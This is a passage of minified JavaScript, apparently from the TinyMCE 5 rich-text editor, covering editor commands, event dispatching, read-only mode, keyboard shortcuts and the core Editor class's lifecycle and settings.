e(t,s,t.$);(t.plugins[r]=c).init&&(c.init(t,s),n.push(r))}catch(e){i=r,a=e,Cf(o=t,"PluginLoadError",{message:u=lu.translate(["Failed to initialize plugin: {0}",i])}),wy(u,a),Qv(o,u)}},nx=eu.DOM,rx={"font-size":"size","font-family":"face"},ox=V1("font-size"),ix=i(function(e){return e.replace(/[\'\"\\]/g,"").replace(/,\s+/g,",")},V1("font-family")),ax=Nt.each,ux=Nt.map,sx=Nt.inArray,cx=(lx.prototype.execCommand=function(t,n,r,e){var o,i,a=!1,u=this;if(!u.editor.removed){if("mcefocus"!==t.toLowerCase()&&(/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(t)||e&&e.skip_focus?md(i=u.editor).each(function(e){return i.selection.setRng(e)}):u.editor.focus()),(e=u.editor.fire("BeforeExecCommand",{command:t,ui:n,value:r})).isDefaultPrevented())return!1;var s=t.toLowerCase();if(o=u.commands.exec[s])return o(s,n,r),u.editor.fire("ExecCommand",{command:t,ui:n,value:r}),!0;if(ax(this.editor.plugins,function(e){if(e.execCommand&&e.execCommand(t,n,r))return u.editor.fire("ExecCommand",{command:t,ui:n,value:r}),!(a=!0)}),a)return a;if(u.editor.theme&&u.editor.theme.execCommand&&u.editor.theme.execCommand(t,n,r))return u.editor.fire("ExecCommand",{command:t,ui:n,value:r}),!0;try{a=u.editor.getDoc().execCommand(t,n,r)}catch(e){}return!!a&&(u.editor.fire("ExecCommand",{command:t,ui:n,value:r}),!0)}},lx.prototype.queryCommandState=function(e){var t;if(!this.editor.quirks.isHidden()&&!this.editor.removed){if(e=e.toLowerCase(),t=this.commands.state[e])return t(e);try{return this.editor.getDoc().queryCommandState(e)}catch(e){}return!1}},lx.prototype.queryCommandValue=function(e){var t;if(!this.editor.quirks.isHidden()&&!this.editor.removed){if(e=e.toLowerCase(),t=this.commands.value[e])return t(e);try{return this.editor.getDoc().queryCommandValue(e)}catch(e){}}},lx.prototype.addCommands=function(e,n){void 0===n&&(n="exec");var r=this;ax(e,function(t,e){ax(e.toLowerCase().split(","),function(e){r.commands[n][e]=t})})},lx.prototype.addCommand=function(e,o,i){var a=this;e=e.toLowerCase(),this.commands.exec[e]=function(e,t,n,r){return o.call(i||a.editor,t,n,r)}},lx.prototype.queryCommandSupported=function(e){if(e=e.toLowerCase(),this.commands.exec[e])return!0;try{return this.editor.getDoc().queryCommandSupported(e)}catch(e){}return!1},lx.prototype.addQueryStateHandler=function(e,t,n){var r=this;e=e.toLowerCase(),this.commands.state[e]=function(){return t.call(n||r.editor)}},lx.prototype.addQueryValueHandler=function(e,t,n){var r=this;e=e.toLowerCase(),this.commands.value[e]=function(){return t.call(n||r.editor)}},lx.prototype.hasCustomCommand=function(e){return e=e.toLowerCase(),!!this.commands.exec[e]},lx.prototype.execNativeCommand=function(e,t,n){return void 0===t&&(t=!1),void 0===n&&(n=null),this.editor.getDoc().execCommand(e,t,n)},lx.prototype.isFormatMatch=function(e){return this.editor.formatter.match(e)},lx.prototype.toggleFormat=function(e,t){this.editor.formatter.toggle(e,t),this.editor.nodeChanged()},lx.prototype.storeSelection=function(e){this.selectionBookmark=this.editor.selection.getBookmark(e)},lx.prototype.restoreSelection=function(){this.editor.selection.moveToBookmark(this.selectionBookmark)},lx.prototype.setupCommands=function(u){var o=this;function e(r){return function(){var e=u.selection,t=e.isCollapsed()?[u.dom.getParent(e.getNode(),u.dom.isBlock)]:e.getSelectedBlocks(),n=ux(t,function(e){return!!u.formatter.matchNode(e,r)});return-1!==sx(n,!0)}}this.addCommands({"mceResetDesignMode,mceBeginUndoLevel":te,"mceEndUndoLevel,mceAddUndoLevel":function(){u.undoManager.add()},mceFocus:function(e,t,n){var r,o;o=n,(r=u).removed||(o?zd:function(t){var e=t.selection,n=t.getBody(),r=e.getRng();t.quirks.refreshContentEditable(),void 0!==t.bookmark&&!1===Cd(t)&&md(t).each(function(e){t.selection.setRng(e),r=e});var o,i,a=(o=t,i=e.getNode(),o.dom.getParent(i,function(e){return"true"===o.dom.getContentEditable(e)}));if(t.$.contains(n,a))return yd(a),bd(t,r),zd(t);t.inline||(xt.opera||yd(n),t.getWin().focus()),(xt.gecko||t.inline)&&(yd(n),bd(t,r)),zd(t)})(r)},"Cut,Copy,Paste":function(e){var t,n,r=u.getDoc();try{o.execNativeCommand(e)}catch(e){t=!0}!(t="paste"===e&&!r.queryCommandEnabled(e)||t)&&r.queryCommandSupported(e)||(n=u.translate("Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead."),xt.mac&&(n=n.replace(/Ctrl\+/g,"\u2318+")),u.notificationManager.open({text:n,type:"error"}))},unlink:function(){var e;u.selection.isCollapsed()?(e=u.dom.getParent(u.selection.getStart(),"a"))&&u.dom.remove(e,!0):u.formatter.remove("link")},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull,JustifyNone":function(e){var t=e.substring(7);"full"===t&&(t="justify"),ax("left,center,right,justify".split(","),function(e){t!==e&&u.formatter.remove("align"+e)}),"none"!==t&&o.toggleFormat("align"+t)},"InsertUnorderedList,InsertOrderedList":function(e){var t;o.execNativeCommand(e);var n=u.dom.getParent(u.selection.getNode(),"ol,ul");n&&(t=n.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(t.nodeName)&&(o.storeSelection(),u.dom.split(t,n),o.restoreSelection()))},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){o.toggleFormat(e)},"ForeColor,HiliteColor":function(e,t,n){o.toggleFormat(e,{value:n})},FontName:function(e,t,n){var r,o;o=W1(r=u,n),r.formatter.toggle("fontname",{value:A(o.split(/\s*,\s*/),function(e){return-1===e.indexOf(" ")||Ge(e,'"')||Ge(e,"'")?e:"'"+e+"'"}).join(",")}),r.nodeChanged()},FontSize:function(e,t,n){var r;(r=u).formatter.toggle("fontsize",{value:W1(r,n)}),r.nodeChanged()},LineHeight:function(e,t,n){var r;(r=u).formatter.toggle("lineheight",{value:String(n)}),r.nodeChanged()},Lang:function(e,t,n){o.toggleFormat(e,{value:n.code,customValue:n.customCode})},RemoveFormat:function(e){u.formatter.remove(e)},mceBlockQuote:function(){o.toggleFormat("blockquote")},FormatBlock:function(e,t,n){return o.toggleFormat(n||"p")},mceCleanup:function(){var e=u.selection.getBookmark();u.setContent(u.getContent()),u.selection.moveToBookmark(e)},mceRemoveNode:function(e,t,n){var r=n||u.selection.getNode();r!==u.getBody()&&(o.storeSelection(),u.dom.remove(r,!0),o.restoreSelection())},mceSelectNodeDepth:function(e,t,n){var r=0;u.dom.getParent(u.selection.getNode(),function(e){if(1===e.nodeType&&r++===n)return u.selection.select(e),!1},u.getBody())},mceSelectNode:function(e,t,n){u.selection.select(n)},mceInsertContent:function(e,t,n){var r,o,i,a;r=u,o=function(e){if("string"==typeof e)return{content:e,details:{}};var t=Nt.extend({paste:e.paste,data:{paste:e.paste}},e);return{content:e.content,details:t}}(n),i=o.content,a=o.details,bh(r).editor.insertContent(i,a)},mceInsertRawHTML:function(e,t,n){u.selection.setContent("tiny_mce_marker");var r=u.getContent();u.setContent(r.replace(/tiny_mce_marker/g,function(){return n}))},mceInsertNewLine:function(e,t,n){VC(u,n)},mceToggleFormat:function(e,t,n){o.toggleFormat(n)},mceSetContent:function(e,t,n){u.setContent(n)},"Indent,Outdent":function(e){I0(u,e)},mceRepaint:te,InsertHorizontalRule:function(){u.execCommand("mceInsertContent",!1,"<hr />")},mceToggleVisualAid:function(){u.hasVisual=!u.hasVisual,u.addVisual()},mceReplaceContent:function(e,t,n){u.execCommand("mceInsertContent",!1,n.replace(/\{\$selection\}/g,u.selection.getContent({format:"text"})))},mceInsertLink:function(e,t,n){"string"==typeof n&&(n={href:n});var r=u.dom.getParent(u.selection.getNode(),"a");n.href=n.href.replace(/ /g,"%20"),r&&n.href||u.formatter.remove("link"),n.href&&u.formatter.apply("link",n,r)},selectAll:function(){var e,t=u.dom.getParent(u.selection.getStart(),Yn);t&&((e=u.dom.createRng()).selectNodeContents(t),u.selection.setRng(e))},mceNewDocument:function(){u.setContent("")},InsertLineBreak:function(e,t,n){return TC(u,n),!0}}),o.addCommands({JustifyLeft:e("alignleft"),JustifyCenter:e("aligncenter"),JustifyRight:e("alignright"),JustifyFull:e("alignjustify"),"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){return o.isFormatMatch(e)},mceBlockQuote:function(){return o.isFormatMatch("blockquote")},Outdent:function(){return P0(u)},"InsertUnorderedList,InsertOrderedList":function(e){var t=u.dom.getParent(u.selection.getNode(),"ul,ol");return t&&("insertunorderedlist"===e&&"UL"===t.tagName||"insertorderedlist"===e&&"OL"===t.tagName)}},"state"),o.addCommands({Undo:function(){u.undoManager.undo()},Redo:function(){u.undoManager.redo()}}),o.addQueryValueHandler("FontName",function(){return $1(t=u,function(e){return ix(t.getBody(),e.dom)}).getOr("");var t},this),o.addQueryValueHandler("FontSize",function(){return $1(t=u,function(e){return ox(t.getBody(),e.dom)}).getOr("");var t},this),o.addQueryValueHandler("LineHeight",function(){return $1(t=u,function(n){var e=Et.fromDom(t.getBody());return Tg(n,function(e){return Sn(e,"line-height")},R(je,e)).getOrThunk(function(){var e=parseFloat(wn(n,"line-height")),t=parseFloat(wn(n,"font-size"));return String(e/t)})}).getOr("");var t},this)},lx);function lx(e){this.commands={state:{},exec:{},value:{}},this.editor=e,this.setupCommands(e)}function fx(e,t,n){var r,o,i,a,u,s;bu(e,t)&&!1===n?(o=t,hu(r=e)?r.dom.classList.remove(o):(u=o,0<(s=U(pu(a=r,"class"),function(e){return e!==u})).length?pn(a,"class",s.join(" ")):Cn(a,"class")),0===(hu(i=r)?i.dom.classList:pu(i,"class")).length&&Cn(i,"class")):n&&vu(e,t)}function dx(e,t,n){try{e.getDoc().execCommand(t,!1,String(n))}catch(e){}}function mx(e,t){e.dom.contentEditable=t?"true":"false"}function gx(e,t){var n,r,o=Et.fromDom(e.getBody());fx(o,"mce-content-readonly",t),t?(e.selection.controlSelection.hideResizeRect(),e._selectionOverrides.hideFakeCaret(),ve.from(e.selection.getNode()).each(function(e){e.removeAttribute("data-mce-selected")}),mx(o,!(e.readonly=!0)),Y(yu(o,'*[contenteditable="true"]'),function(e){pn(e,vx,"true"),mx(e,!1)})):(mx(o,!(e.readonly=!1)),Y(yu(o,"*["+vx+'="true"]'),function(e){Cn(e,vx),mx(e,!0)}),dx(e,"StyleWithCSS",!1),dx(e,"enableInlineTableEditing",!1),dx(e,"enableObjectResizing",!1),(Cd(n=e)||(r=n,od(Pn(Et.fromDom(r.getElement()))).filter(function(e){return!(void 0!==(t=e.dom.classList)&&(t.contains("tox-edit-area")||t.contains("tox-edit-area__iframe")||t.contains("mce-content-body")))&&pd(r,e.dom);var t}).isSome()))&&e.focus(),e.selection.setRng(e.selection.getRng()),e.nodeChanged())}function px(e){return e.readonly}function hx(t){t.parser.addAttributeFilter("contenteditable",function(e){px(t)&&Y(e,function(e){e.attr(vx,e.attr("contenteditable")),e.attr("contenteditable","false")})}),t.serializer.addAttributeFilter(vx,function(e){px(t)&&Y(e,function(e){e.attr("contenteditable",e.attr(vx))})}),t.serializer.addTempAttr(vx)}var vx="data-mce-contenteditable",bx=Nt.makeMap("focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange mouseout mouseenter mouseleave wheel keydown keypress keyup input beforeinput contextmenu dragstart dragend dragover draggesture dragdrop drop drag submit compositionstart compositionend compositionupdate touchstart touchmove touchend touchcancel"," "),yx=(Cx.isNative=function(e){return!!bx[e.toLowerCase()]},Cx.prototype.fire=function(e,t){var n=e.toLowerCase(),r=so(n,t||{},this.scope);this.settings.beforeFire&&this.settings.beforeFire(r);var o=this.bindings[n];if(o)for(var i=0,a=o.length;i<a;i++){var u=o[i];if(!u.removed){if(u.once&&this.off(n,u.func),r.isImmediatePropagationStopped())return r;if(!1===u.func.call(this.scope,r))return r.preventDefault(),r}}return r},Cx.prototype.on=function(e,t,n,r){if(t=!1===t?D:t){var o={func:t,removed:!1};r&&Nt.extend(o,r);for(var i=e.toLowerCase().split(" "),a=i.length;a--;){var u=i[a],s=this.bindings[u];s||(s=[],this.toggleEvent(u,!0)),s=n?Ae([o],s,!0):Ae(Ae([],s,!0),[o],!1),this.bindings[u]=s}}return this},Cx.prototype.off=function(e,t){var n=this;if(e)for(var r=e.toLowerCase().split(" "),o=r.length;o--;){var i,a=r[o],u=this.bindings[a];if(!a)return ne(this.bindings,function(e,t){n.toggleEvent(t,!1),delete n.bindings[t]}),this;u&&(t?(u=(i=B(u,function(e){return e.func===t})).fail,this.bindings[a]=u,Y(i.pass,function(e){e.removed=!0})):u.length=0,u.length||(this.toggleEvent(e,!1),delete this.bindings[a]))}else ne(this.bindings,function(e,t){n.toggleEvent(t,!1)}),this.bindings={};return this},Cx.prototype.once=function(e,t,n){return this.on(e,t,n,{once:!0})},Cx.prototype.has=function(e){return e=e.toLowerCase(),!(!this.bindings[e]||0===this.bindings[e].length)},Cx);function Cx(e){this.bindings={},this.settings=e||{},this.scope=this.settings.scope||this,this.toggleEvent=this.settings.toggleEvent||D}function xx(n){return n._eventDispatcher||(n._eventDispatcher=new yx({scope:n,toggleEvent:function(e,t){yx.isNative(e)&&n.toggleNativeEvent&&n.toggleNativeEvent(e,t)}})),n._eventDispatcher}function wx(e,t){if("selectionchange"===t)return e.getDoc();if(!e.inline&&/^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(t))return e.getDoc().documentElement;var n=Ls(e);return n?(e.eventRoot||(e.eventRoot=Rx.select(n)[0]),e.eventRoot):e.getBody()}function Sx(e,t,n){var r,o,i,a;e.hidden||px(e)?px(e)&&(r=e,"click"!==(o=n).type||If.metaKeyPressed(o)||(i=Et.fromDom(o.target),a=r,yr(i,"a",function(e){return je(e,Et.fromDom(a.getBody()))}).bind(function(e){return bn(e,"href")}).each(function(e){var t,n;o.preventDefault(),/^#/.test(e)?(t=r.dom.select(e+',[name="'+(Ge(n=e,"#")?n.substring("#".length):n)+'"]')).length&&r.selection.scrollIntoView(t[0],!0):window.open(e,"_blank","rel=noopener noreferrer,menubar=yes,toolbar=yes,location=yes,status=yes,resizable=yes,scrollbars=yes")}))):e.fire(t,n)}function Nx(i,a){var e,t;i.delegates||(i.delegates={}),i.delegates[a]||i.removed||(t=wx(i,a),Ls(i)?(_x||(_x={},i.editorManager.on("removeEditor",function(){i.editorManager.activeEditor||_x&&(ne(_x,function(e,t){i.dom.unbind(wx(i,t))}),_x=null)})),_x[a]||(_x[a]=e=function(e){for(var t=e.target,n=i.editorManager.get(),r=n.length;r--;){var o=n[r].getBody();o!==t&&!Rx.isChildOf(t,o)||Sx(n[r],a,e)}},Rx.bind(t,a,e))):(Rx.bind(t,a,e=function(e){Sx(i,a,e)}),i.delegates[a]=e))}function Ex(e,t,n,r){var o=n[t.get()],i=n[r];try{i.activate()}catch(e){return void console.error("problem while activating editor mode "+r+":",e)}o.deactivate(),o.editorReadOnly!==i.editorReadOnly&&gx(e,i.editorReadOnly),t.set(r),e.fire("SwitchMode",{mode:r})}function kx(e){var t,n={};Ox(Bx(e.toLowerCase(),"+"),function(e){e in Lx?n[e]=!0:/^[0-9]{2,}$/.test(e)?n.keyCode=parseInt(e,10):(n.charCode=e.charCodeAt(0),n.keyCode=Px[e]||e.toUpperCase().charCodeAt(0))});var r=[n.keyCode];for(t in Lx)n[t]?r.push(t):n[t]=!1;return n.id=r.join(","),n.access&&(n.alt=!0,xt.mac?n.ctrl=!0:n.shift=!0),n.meta&&(xt.mac?n.meta=!0:(n.ctrl=!0,n.meta=!1)),n}var _x,Ax={fire:function(e,t,n){if(this.removed&&"remove"!==e&&"detach"!==e)return t;var r=xx(this).fire(e,t);if(!1!==n&&this.parent)for(var o=this.parent();o&&!r.isPropagationStopped();)o.fire(e,r,!1),o=o.parent();return r},on:function(e,t,n){return xx(this).on(e,t,n)},off:function(e,t){return xx(this).off(e,t)},once:function(e,t){return xx(this).once(e,t)},hasEventListeners:function(e){return xx(this).has(e)}},Rx=eu.DOM,Dx=_e(_e({},Ax),{bindPendingEventDelegates:function(){var t=this;Nt.each(t._pendingNativeEvents,function(e){Nx(t,e)})},toggleNativeEvent:function(e,t){var n=this;"focus"!==e&&"blur"!==e&&(n.removed||(t?n.initialized?Nx(n,e):n._pendingNativeEvents?n._pendingNativeEvents.push(e):n._pendingNativeEvents=[e]:n.initialized&&(n.dom.unbind(wx(n,e),e,n.delegates[e]),delete n.delegates[e])))},unbindAllNativeEvents:function(){var n=this,e=n.getBody(),t=n.dom;n.delegates&&(ne(n.delegates,function(e,t){n.dom.unbind(wx(n,t),t,e)}),delete n.delegates),!n.inline&&e&&t&&(e.onload=null,t.unbind(n.getWin()),t.unbind(n.getDoc())),t&&(t.unbind(e),t.unbind(n.getContainer()))}}),Tx=["design","readonly"],Ox=Nt.each,Bx=Nt.explode,Px={f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},Lx=Nt.makeMap("alt,ctrl,shift,meta,access"),Ix=(Mx.prototype.add=function(e,n,t,r){var o=this,i=o.normalizeCommandFunc(t);return Ox(Bx(Nt.trim(e)),function(e){var t=o.createShortcut(e,n,i,r);o.shortcuts[t.id]=t}),!0},Mx.prototype.remove=function(e){var t=this.createShortcut(e);return!!this.shortcuts[t.id]&&(delete this.shortcuts[t.id],!0)},Mx.prototype.normalizeCommandFunc=function(e){var t=this,n=e;return"string"==typeof n?function(){t.editor.execCommand(n,!1,null)}:Nt.isArray(n)?function(){t.editor.execCommand(n[0],n[1],n[2])}:n},Mx.prototype.createShortcut=function(e,t,n,r){var o=Nt.map(Bx(e,">"),kx);return o[o.length-1]=Nt.extend(o[o.length-1],{func:n,scope:r||this.editor}),Nt.extend(o[0],{desc:this.editor.translate(t),subpatterns:o.slice(1)})},Mx.prototype.hasModifier=function(e){return e.altKey||e.ctrlKey||e.metaKey},Mx.prototype.isFunctionKey=function(e){return"keydown"===e.type&&112<=e.keyCode&&e.keyCode<=123},Mx.prototype.matchShortcut=function(e,t){return!!t&&t.ctrl===e.ctrlKey&&t.meta===e.metaKey&&t.alt===e.altKey&&t.shift===e.shiftKey&&!!(e.keyCode===t.keyCode||e.charCode&&e.charCode===t.charCode)&&(e.preventDefault(),!0)},Mx.prototype.executeShortcutAction=function(e){return e.func?e.func.call(e.scope):null},Mx);function Mx(e){this.shortcuts={},this.pendingPatterns=[],this.editor=e;var n=this;e.on("keyup keypress keydown",function(t){!n.hasModifier(t)&&!n.isFunctionKey(t)||t.isDefaultPrevented()||(Ox(n.shortcuts,function(e){if(n.matchShortcut(t,e))return n.pendingPatterns=e.subpatterns.slice(0),"keydown"===t.type&&n.executeShortcutAction(e),!0}),n.matchShortcut(t,n.pendingPatterns[0])&&(1===n.pendingPatterns.length&&"keydown"===t.type&&n.executeShortcutAction(n.pendingPatterns[0]),n.pendingPatterns.shift()))})}var Fx=eu.DOM,Ux=Nt.extend,zx=Nt.each,Hx=Nt.resolve,jx=xt.ie,Vx=(qx.prototype.render=function(){!function(t){var e=t.id;lu.setCode(Ts(t));var n,r,o,i,a=function(){nx.unbind(window,"ready",a),t.render()};ci.Event.domLoaded?t.getElement()&&xt.contentEditable&&(n=Et.fromDom(t.getElement()),r=L(n.dom.attributes,function(e,t){return e[t.name]=t.value,e},{}),t.on("remove",function(){O(n.dom.attributes,function(e){return Cn(n,e.name),0}),hn(n,r)}),t.ui.styleSheetLoader=Rr.forElement(n,{contentCssCors:(o=t).getParam("content_css_cors"),referrerPolicy:Ds(o)}),t.getParam("inline")?t.inline=!0:(t.orgVisibility=t.getElement().style.visibility,t.getElement().style.visibility="hidden"),(i=t.getElement().form||nx.getParent(e,"form"))&&(t.formElement=i,t.getParam("hidden_input")&&!jn(t.getElement())&&(nx.insertAfter(nx.create("input",{type:"hidden",name:e}),e),t.hasHiddenInput=!0),t.formEventDelegate=function(e){t.fire(e.type,e)},nx.bind(i,"submit reset",t.formEventDelegate),t.on("reset",function(){t.resetContent()}),!t.getParam("submit_patch")||i.submit.nodeType||i.submit.length||i._mceOldSubmit||(i._mceOldSubmit=i.submit,i.submit=function(){return t.editorManager.triggerSave(),t.setDirty(!1),i._mceOldSubmit(i)})),t.windowManager=Gv(t),t.notificationManager=Ev(t),"xml"===t.getParam("encoding")&&t.on("GetContent",function(e){e.save&&(e.content=nx.encode(e.content))}),t.getParam("add_form_submit_trigger")&&t.on("submit",function(){t.initialized&&t.save()}),t.getParam("add_unload_trigger")&&(t._beforeUnload=function(){!t.initialized||t.destroyed||t.isHidden()||t.save({format:"raw",no_events:!0,set_dirty:!1})},t.editorManager.on("BeforeUnload",t._beforeUnload)),t.editorManager.add(t),j1(t,t.suffix)):nx.bind(window,"ready",a)}(this)},qx.prototype.focus=function(e){this.execCommand("mceFocus",!1,e)},qx.prototype.hasFocus=function(){return Cd(this)},qx.prototype.execCallback=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r,o=this.settings[e];if(o)return this.callbackLookup&&(r=this.callbackLookup[e])&&(o=r.func,r=r.scope),"string"==typeof o&&(r=(r=o.replace(/\.\w+$/,""))?Hx(r):0,o=Hx(o),this.callbackLookup=this.callbackLookup||{},this.callbackLookup[e]={func:o,scope:r}),o.apply(r||this,t)},qx.prototype.translate=function(e){return lu.translate(e)},qx.prototype.getParam=function(e,t,n){return i=t,a=n,l=(o=e)in(r=this).settings?r.settings[o]:i,"hash"===a?(c={},"string"==typeof(s=l)?Y(0<s.indexOf("=")?s.split(/[;,](?![^=;,]*(?:[;,]|$))/):s.split(","),function(e){var t=e.split("=");1<t.length?c[Nt.trim(t[0])]=Nt.trim(t[1]):c[Nt.trim(t[0])]=Nt.trim(t[0])}):c=s,c):"string"===a?xv(X,r,o).getOr(i):"number"===a?xv(N,r,o).getOr(i):"boolean"===a?xv(v,r,o).getOr(i):"object"===a?xv(h,r,o).getOr(i):"array"===a?xv(S,r,o).getOr(i):"string[]"===a?xv((u=X,function(e){return S(e)&&j(e,u)}),r,o).getOr(i):"function"===a?xv(y,r,o).getOr(i):l;var r,o,i,a,u,s,c,l},qx.prototype.hasPlugin=function(e,t){return!(!T(Fs(this).split(/[ ,]/),e)||t&&void 0===Xv.get(e))},qx.prototype.nodeChanged=function(e){this._nodeChangeDispatcher.nodeChanged(e)},qx.prototype.addCommand=function(e,t,n){this.editorCommands.addCommand(e,t,n)},qx.prototype.addQueryStateHandler=function(e,t,n){this.editorCommands.addQueryStateHandler(e,t,n)},qx.prototype.addQueryValueHandler=function(e,t,n){this.editorCommands.addQueryValueHandler(e,t,n)},qx.prototype.addShortcut=function(e,t,n,r){this.shortcuts.add(e,t,n,r)},qx.prototype.execCommand=function(e,t,n,r){return this.editorCommands.execCommand(e,t,n,r)},qx.prototype.queryCommandState=function(e){return this.editorCommands.queryCommandState(e)},qx.prototype.queryCommandValue=function(e){return this.editorCommands.queryCommandValue(e)},qx.prototype.queryCommandSupported=function(e){return this.editorCommands.queryCommandSupported(e)},qx.prototype.show=function(){this.hidden&&(this.hidden=!1,this.inline?this.getBody().contentEditable="true":(Fx.show(this.getContainer()),Fx.hide(this.id)),this.load(),this.fire("show"))},qx.prototype.hide=function(){var e=this,t=e.getDoc();e.hidden||(jx&&t&&!e.inline&&t.execCommand("SelectAll"),e.save(),e.inline?(e.getBody().contentEditable="false",e===e.editorManager.focusedEditor&&(e.editorManager.focusedEditor=null)):(Fx.hide(e.getContainer()),Fx.setStyle(e.id,"display",e.orgDisplay)),e.hidden=!0,e.fire("hide"))},qx.prototype.isHidden=function(){return!!this.hidden},qx.prototype.setProgressState=function(e,t){this.fire("ProgressState",{state:e,time:t})},qx.prototype.load=function(e){var t=this.getElement();if(this.removed)return"";if(t){(e=e||{}).load=!0;var n=jn(t)?t.value:t.innerHTML,r=this.setContent(n,e);return e.element=t,e.no_events||this.fire("LoadContent",e),e.element=t=null,r}},qx.prototype.save=function(e){var t,n,r=this,o=r.getElement();if(o&&r.initialized&&!r.removed)return(e=e||{}).save=!0,e.element=o,e.content=r.getContent(e),e.no_events||r.fire("SaveContent",e),"raw"===e.format&&r.fire("RawSaveContent",e),t=e.content,jn(o)?o.value=t:(!e.is_removing&&r.inline||(o.innerHTML=t),(n=Fx.getParent(r.id,"form"))&&zx(n.elements,function(e){if(e.name===r.id)return e.value=t,!1})),e.element=o=null,!1!==e.set_dirty&&r.setDirty(!1),t},qx.prototype.setContent=function(e,t){return mv(this,e,t)},qx.prototype.getContent=function(e){return t=this,r=(n=void 0===(n=e)?{}:n).format||"html",o=n,bh(t).editor.getContent(o,r);var t,n,r,o},qx.prototype.insertContent=function(e,t){t&&(e=Ux({content:e},t)),this.execCommand("mceInsertContent",!1,e)},qx.prototype.resetContent=function(e){void 0===e?mv(this,this.startContent,{format:"raw"}):mv(this,e),this.undoManager.reset(),this.setDirty(!1),this.nodeChanged()},qx.prototype.isDirty=function(){return!this.isNotDirty},qx.prototype.setDirty=function(e){var t=!this.isNotDirty;this.isNotDirty=!e,e&&e!==t&&this.fire("dirty")},qx.prototype.getContainer=function(){return this.container||(this.container=Fx.get(this.editorContainer||this.id+"_parent")),this.container},qx.prototype.getContentAreaContainer=function(){return this.contentAreaContainer},qx.prototype.getElement=function(){return this.targetElm||(this.targetElm=Fx.get(this.id)),this.targetElm},qx.prototype.getWin=function(){var e;return this.contentWindow||(e=this.iframeElement)&&(this.contentWindow=e.contentWindow),this.contentWindow},qx.prototype.getDoc=function(){var e;return this.contentDocument||(e=this.getWin())&&(this.contentDocument=e.document),this.contentDocument},qx.prototype.getBody=function(){var e=this.getDoc();return this.bodyElement||(e?e.body:null)},qx.prototype.convertURL=function(e,t,n){var r=this.settings;return r.urlconverter_callback?this.execCallback("urlconverter_callback",e,n,!0,t):!r.convert_urls||n&&"LINK"===n.nodeName||0===e.indexOf("file:")||0===e.length?e:r.relative_urls?this.documentBaseURI.toRelative(e):this.documentBaseURI.toAbsolute(e,r.remove_script_host)},qx.prototype.addVisual=function(e){var t;t=e,yh(this).editor.addVisual(t)},qx.prototype.remove=function(){var e,t,n,r,o;(e=this).removed||(t=e._selectionOverrides,n=e.editorUpload,r=e.getBody(),o=e.getElement(),r&&e.save({is_removing:!0}),e.removed=!0,e.unbindAllNativeEvents(),e.hasHiddenInput&&o&&Ov.remove(o.nextSibling),e.fire("remove"),e.editorManager.remove(e),!e.inline&&r&&Ov.setStyle(e.id,"display",e.orgDisplay),e.fire("detach"),Ov.remove(e.getContainer()),gv(t),gv(n),e.destroy())},qx.prototype.destroy=function(e){var t,n,r,o,i,a,u;n=e,a=(t=this).selection,u=t.dom,t.destroyed||(n||t.removed?(n||(t.editorManager.off("beforeunload",t._beforeUnload),t.theme&&t.theme.destroy&&t.theme.destroy(),gv(a),gv(u)),(o=(r=t).formElement)&&(o._mceOldSubmit&&(o.submit=o._mceOldSubmit,o._mceOldSubmit=null),Ov.unbind(o,"submit reset",r.formEventDelegate)),(i=t).contentAreaContainer=i.formElement=i.container=i.editorContainer=null,i.bodyElement=i.contentDocument=i.contentWindow=null,i.iframeElement=i.targetElm=null,i.selection&&(i.selection=i.selection.win=i.selection.dom=i.selection.dom.doc=null),t.destroyed=!0):t.remove())},qx.prototype.uploadImages=function(e){return this.editorUpload.uploadImages(e)},qx.prototype._scanForImages=function(){return this.editorUpload.scanForImages()},qx.prototype.addButton=function(){throw new Error("editor.addButton has been removed in tinymce 5x, use editor.ui.registry.addButton or editor.ui.registry.addToggleButton or editor.ui.registry.addSplitButton instead")},qx.prototype.addSidebar=function(){throw new Error("editor.addSidebar has been removed in tinymce 5x, use editor.ui.registry.addSidebar instead")},qx.prototype.addMenuItem=function(){throw new Error("editor.addMenuItem has been removed in tinymce 5x, use editor.ui.registry.addMenuItem instead")},qx.prototype.addContextToolbar=function(){throw new Error("editor.addContextToolbar has been removed in tinymce 5x, use editor.ui.registry.addContextToolbar instead")},qx);function qx(e,t,n){var r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y,C,x=this;function w(n,r){return function(e,t){return n[e.toLowerCase()]=_e(_e({},t),{type:r})}}this.plugins={},this.contentCSS=[],this.contentStyles=[],this.loadedCSS={},this.isNotDirty=!1,this.editorManager=n,this.documentBaseUrl=n.documentBaseURL,Ux(this,Dx),this.settings=(d=(f=this).documentBaseUrl,m=n.defaultSettings,p=d,h=Fv,v=f,b={id:e,theme:"silver",toolbar_mode:bv(g=t,"floating"),plugins:"",document_base_url:p,add_form_submit_trigger:!0,submit_patch:!0,add_unload_trigger:!0,convert_urls:!0,relative_urls:!0,remove_script_host:!0,object_resizing:!0,doctype:"<!DOCTYPE html>",visual:!0,font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",forced_root_block:"p",hidden_input:!0,inline_styles:!0,convert_fonts_to_spans:!0,indent:!0,indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",entity_encoding:"named",url_converter:v.convertURL,url_converter_scope:v},y=_e(_e({},b),h?jv:{}),!1!==(C=Cv(Uv||zv,Uv,y,m,g)).deprecation_warnings&&pv(g,C),C),this.settings.suffix&&(n.suffix=this.settings.suffix),this.suffix=n.suffix,this.settings.base_url&&n._setBaseUrl(this.settings.base_url),this.baseUri=n.b